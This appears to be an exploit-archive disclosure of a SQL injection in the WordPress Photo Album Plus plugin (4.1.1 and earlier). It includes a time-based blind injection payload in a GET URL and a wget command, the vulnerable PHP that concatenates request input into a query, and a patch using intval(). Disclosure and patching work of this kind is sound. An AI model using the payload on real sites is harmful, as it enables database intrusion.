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WordPress Photo Album Plus 4.1.1 SQL Injection

WordPress Photo Album Plus 4.1.1 SQL Injection
Posted Oct 15, 2011
Authored by Skraps

WordPress Photo Album Plus versions 4.1.1 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | bf3ea8918c7de9782e264e2d6b05ec45720b07a5c20144302c4a8eed53b6c5d3

WordPress Photo Album Plus 4.1.1 SQL Injection

Change Mirror Download
# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

$separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&wppa-slide' : '';


Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
if (isset($_GET['wppa-'.$index])) { // New syntax first
return $_GET['wppa-'.$index];
}
if (isset($_GET[$index])) { // Old syntax
return $_GET[$index];
}
return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
echo $result;
return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****

function wppa_get_album_title_linktype($alb) {
global $wpdb;
!
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
--- 3361,3367 ----

function wppa_get_album_title_linktype($alb) {
global $wpdb;
! $alb=intval($alb);
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
***************
*** 3384,3387 ****
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }

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